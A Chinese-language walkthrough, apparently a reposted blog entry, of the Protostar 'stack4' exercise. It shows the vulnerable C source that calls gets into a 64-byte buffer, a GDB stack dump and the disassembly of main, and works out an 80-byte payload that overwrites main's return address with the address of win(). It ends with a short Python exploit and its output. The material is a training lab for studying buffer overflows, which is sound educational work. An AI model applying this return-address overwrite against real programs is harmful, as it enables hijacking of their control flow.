Protostar——stack4

简介

  这次练习只有buffer一个变量,所以不能再通过覆盖变量值应该程序执行逻辑了,这次我们可以直接覆盖main函数的返回地址,那么它的返回地址在哪里呢?

源码

 1 #include <stdlib.h>
 2 #include <unistd.h>
 3 #include <stdio.h>
 4 #include <string.h>
 5 
 6 void win()
 7 {
 8   printf("code flow successfully changed\n");
 9 }
10 
11 int main(int argc, char **argv)
12 {
13   char buffer[64];
14 
15   gets(buffer);
16 }

分析

  可以看到程序中有一个win函数,但并没有直接调用,我们的目的肯定是让程序的执行流程进入win函数。main函数中有buffer一个变量,在通过gets函数获取用户输入赋值给buffer变量之后,函数就执行结束了,所以这里我们需要仔细分析一下栈中的内容分布,如果输入内容大于64字节,我们会覆盖什么区域?回忆在函数调用时需要执行的汇编指令,以main函数为例:

1   push argv
2   push argc
3   call main
4 main:
5   push ebp
6   mov ebp, esp
7   为局部变量分配空间

  所以栈中数据的分布应该是:

1 argv
2 argc
3 ret address
4 ebp
5 局部变量

  下面通过调试程序,验证一下我们的分析

调试程序

 1 (gdb) b 16
 2 Breakpoint 1 at 0x804841d: file stack4/stack4.c, line 16.
 3 (gdb) r
 4 Starting program: /opt/protostar/bin/stack4 
 5 abcd
 6 
 7 Breakpoint 1, main (argc=1, argv=0xbffffd64) at stack4/stack4.c:16
 8 16 stack4/stack4.c: No such file or directory.
 9 in stack4/stack4.c
10 (gdb) print $ebp
11 $1 = (void *) 0xbffffcb8
12 (gdb) print $esp
13 $2 = (void *) 0xbffffc60
14 (gdb) x/32xw $esp
15 0xbffffc60: 0xbffffc70 0xb7ec6165 0xbffffc78 0xb7eada75
16 0xbffffc70: 0x64636261 0x08049500 0xbffffc88 0x080482e8
17 0xbffffc80: 0xb7ff1040 0x080495ec 0xbffffcb8 0x08048449
18 0xbffffc90: 0xb7fd8304 0xb7fd7ff4 0x08048430 0xbffffcb8
19 0xbffffca0: 0xb7ec6365 0xb7ff1040 0x0804843b 0xb7fd7ff4
20 0xbffffcb0: 0x08048430 0x00000000 0xbffffd38 0xb7eadc76
21 0xbffffcc0: 0x00000001 0xbffffd64 0xbffffd6c 0xb7fe1848
22 0xbffffcd0: 0xbffffd20 0xffffffff 0xb7ffeff4 0x0804824b
23 (gdb) info address win
24 Symbol "win" is a function at address 0x80483f4.

  标红的部分是buffer的内容。

  从调试的输出可以看到argc=1, argv=0xbffffd64,正是0xbffffcc0那里的内容,所以绿字是main函数的返回地址,橙字是上一个栈帧的ebp值。但是为什么0xbffffcb0那里还有八个字节的内容呢?我们可以看一下main函数的反汇编代码:

 1 (gdb) disass main
 2 Dump of assembler code for function main:
 3 0x08048408 <main+0>: push %ebp
 4 0x08048409 <main+1>: mov %esp,%ebp
 5 0x0804840b <main+3>: and $0xfffffff0,%esp
 6 0x0804840e <main+6>: sub $0x50,%esp
 7 0x08048411 <main+9>: lea 0x10(%esp),%eax
 8 0x08048415 <main+13>: mov %eax,(%esp)
 9 0x08048418 <main+16>: call 0x804830c <gets@plt>
10 0x0804841d <main+21>: leave 
11 0x0804841e <main+22>: ret 
12 End of assembler dump.

  可以看到在0x0804840b处的代码,对esp的值进行了一次对齐,正是这次对齐让栈中多出了8字节的数据。

  所以,如果想要覆盖main函数的返回地址,使得程序的执行逻辑进入win函数,我们需要构造80字节的Payload,且payload以0xf4830408结尾。

EXPLOIT编写

知道payload怎么写之后,exploit就很好编写了,直接给出代码:

1 import subprocess
2 proc = subprocess.Popen("/opt/protostar/bin/stack4", stdin=subprocess.PIPE)
3 payload = "61616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161f4830408"
4 proc.communicate(payload.decode("hex"))

输出结果:

$ python exploit4.py
code flow successfully changed
扫描二维码关注公众号,回复: 93508 查看本文章

猜你喜欢

转载自www.cnblogs.com/white-noise/p/8974084.html